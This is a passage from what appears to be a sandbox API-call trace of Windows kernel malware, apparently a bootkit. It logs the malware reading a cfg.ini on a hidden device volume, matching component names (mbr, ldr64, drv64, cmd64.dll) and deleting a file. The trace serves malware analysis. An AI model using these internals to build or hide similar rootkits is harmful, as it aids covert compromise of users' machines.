returned 16 [0126.298] KeEnterCriticalRegion () [0126.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.298] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.298] IdePortDispatch () returned 0x103 [0126.298] KeWaitForMutexObject () returned 0x0 [0126.298] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.298] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.298] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.298] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.298] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.298] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac72d0 [0126.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.298] KeLeaveCriticalRegion () [0126.298] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.298] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.298] KeEnterCriticalRegion () [0126.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.298] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.298] KeLeaveCriticalRegion () [0126.298] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.298] KeEnterCriticalRegion () [0126.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.298] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.298] IdePortDispatch () returned 0x103 [0126.298] KeWaitForMutexObject () returned 0x0 [0126.299] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.299] KeLeaveCriticalRegion () [0126.299] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.299] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.299] KeEnterCriticalRegion () [0126.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.299] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800346c000 [0126.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.299] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.299] IdePortDispatch () returned 0x103 [0126.299] KeWaitForMutexObject () returned 0x0 [0126.299] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.299] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.299] IdePortDispatch () returned 0x103 [0126.299] KeWaitForMutexObject () returned 0x0 [0126.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.299] KeLeaveCriticalRegion () [0126.299] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.300] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.300] KeEnterCriticalRegion () [0126.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.300] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.300] KeLeaveCriticalRegion () [0126.300] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.300] KeEnterCriticalRegion () [0126.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.300] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.300] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ecc80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.300] KeLeaveCriticalRegion () [0126.300] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.300] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.300] KeEnterCriticalRegion () [0126.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.300] ExFreePoolWithTag (P=0xfffffa8003ac72d0, Tag=0x0) [0126.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.300] KeLeaveCriticalRegion () [0126.300] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.300] ReleaseMutex (hMutex=0xf0) returned 1 [0126.300] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.300] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.300] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.300] KeEnterCriticalRegion () [0126.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.300] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.300] IdePortDispatch () returned 0x103 [0126.300] KeWaitForMutexObject () returned 0x0 [0126.301] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.301] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.301] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.301] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.301] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.301] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac6870 [0126.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.301] KeLeaveCriticalRegion () [0126.301] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.301] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.301] KeEnterCriticalRegion () [0126.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.301] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.301] KeLeaveCriticalRegion () [0126.301] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.301] KeEnterCriticalRegion () [0126.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.301] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.301] IdePortDispatch () returned 0x103 [0126.301] KeWaitForMutexObject () returned 0x0 [0126.301] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.301] KeLeaveCriticalRegion () [0126.301] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.301] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.301] KeEnterCriticalRegion () [0126.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.301] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800346d000 [0126.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.302] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.302] IdePortDispatch () returned 0x103 [0126.302] KeWaitForMutexObject () returned 0x0 [0126.302] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.302] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.302] IdePortDispatch () returned 0x103 [0126.302] KeWaitForMutexObject () returned 0x0 [0126.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.302] KeLeaveCriticalRegion () [0126.302] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.302] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.303] KeEnterCriticalRegion () [0126.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.303] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.303] KeLeaveCriticalRegion () [0126.303] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.303] KeEnterCriticalRegion () [0126.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.303] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.303] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ec3f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.303] KeLeaveCriticalRegion () [0126.303] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.303] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.303] KeEnterCriticalRegion () [0126.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.303] ExFreePoolWithTag (P=0xfffffa8003ac6870, Tag=0x0) [0126.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.303] KeLeaveCriticalRegion () [0126.303] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.303] ReleaseMutex (hMutex=0xf0) returned 1 [0126.303] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.303] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.303] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.303] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.303] KeEnterCriticalRegion () [0126.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.303] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.303] IdePortDispatch () returned 0x103 [0126.303] KeWaitForMutexObject () returned 0x0 [0126.303] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.303] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.304] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.304] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.304] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.304] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.304] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.304] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.304] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.304] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.304] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.304] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.304] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.304] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.304] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.304] KeLeaveCriticalRegion () [0126.304] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.304] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.304] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.304] KeEnterCriticalRegion () [0126.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.304] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.304] IdePortDispatch () returned 0x103 [0126.304] KeWaitForMutexObject () returned 0x0 [0126.304] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.304] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.304] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.304] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.304] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.304] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.304] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.304] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.304] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.304] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.304] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.304] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.304] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.304] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.304] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.305] KeLeaveCriticalRegion () [0126.305] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.305] ReleaseMutex (hMutex=0x100) returned 1 [0126.305] Sleep (dwMilliseconds=0x2bf20) [0126.312] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e7bf530, dwHighDateTime=0x1d24fa4)) [0126.312] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.312] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.312] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.312] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.312] KeEnterCriticalRegion () [0126.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.312] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.312] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.312] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.312] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.312] IdePortDispatch () returned 0x103 [0126.312] KeWaitForMutexObject () returned 0x0 [0126.312] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.312] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.312] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.312] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.312] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.312] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9fb0 [0126.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.312] KeLeaveCriticalRegion () [0126.312] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.312] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.312] KeEnterCriticalRegion () [0126.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.312] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.312] KeLeaveCriticalRegion () [0126.312] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.313] KeEnterCriticalRegion () [0126.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.313] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.313] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.313] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.313] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.313] IdePortDispatch () returned 0x103 [0126.313] KeWaitForMutexObject () returned 0x0 [0126.313] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.313] KeLeaveCriticalRegion () [0126.313] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.313] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.313] KeEnterCriticalRegion () [0126.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.313] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003470000 [0126.313] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.313] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.313] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.313] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.313] IdePortDispatch () returned 0x103 [0126.313] KeWaitForMutexObject () returned 0x0 [0126.313] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.313] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.313] IoAllocateMdl (in: 